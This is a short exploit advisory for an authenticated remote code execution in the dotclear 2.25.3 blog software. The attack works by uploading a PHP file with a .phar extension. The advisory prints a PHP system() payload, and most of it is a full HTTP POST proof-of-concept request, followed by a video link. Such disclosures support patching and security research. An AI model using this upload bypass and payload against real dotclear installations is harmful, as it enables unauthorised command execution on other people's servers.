Exploit Title: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)
Application: dotclear
Version: 2.25.3
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload
Technology: PHP
Vendor URL: https://dotclear.org/
Software Link: https://dotclear.org/download
Date of found: 08.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
While writing a blog post, we know that we can upload images. But php did not allow file upload. This time
<?php echo system("id"); ?>
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.
We were able to run the php code when we visited your page


poc request:


POST /dotclear/admin/post.php HTTP/1.1
Host: localhost
Content-Length: 566
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: dcxd=f3bb50e4faebea34598cf52bcef38548b68bc1cc
Connection: close

post_title=Welcome+to+Dotclear%21&post_excerpt=&post_content=%3Cp%3EThis+is+your+first+entry.+When+you%27re+ready+to+blog%2C+log+in+to+edit+or+delete+it.fghjftgj%3Ca+href%3D%22%2Fdotclear%2Fpublic%2Fpoc.phar%22%3Epoc.phar%3C%2Fa%3E%3C%2Fp%3E%0D%0A&post_notes=&id=1&save=Save+%28s%29&xd_check=ca4243338e38de355f21ce8a757c17fbca4197736275ba4ddcfced4a53032290d7b3c50badd4a3b9ceb2c8b3eed2fc3b53f0e13af56c68f2b934670027e12f4e&post_status=1&post_dt=2023-04-08T06%3A37&post_lang=en&post_format=xhtml&cat_id=&new_cat_title=&new_cat_parent=&post_open_comment=1&post_password=



poc video : https://youtu.be/oIPyLqLJS70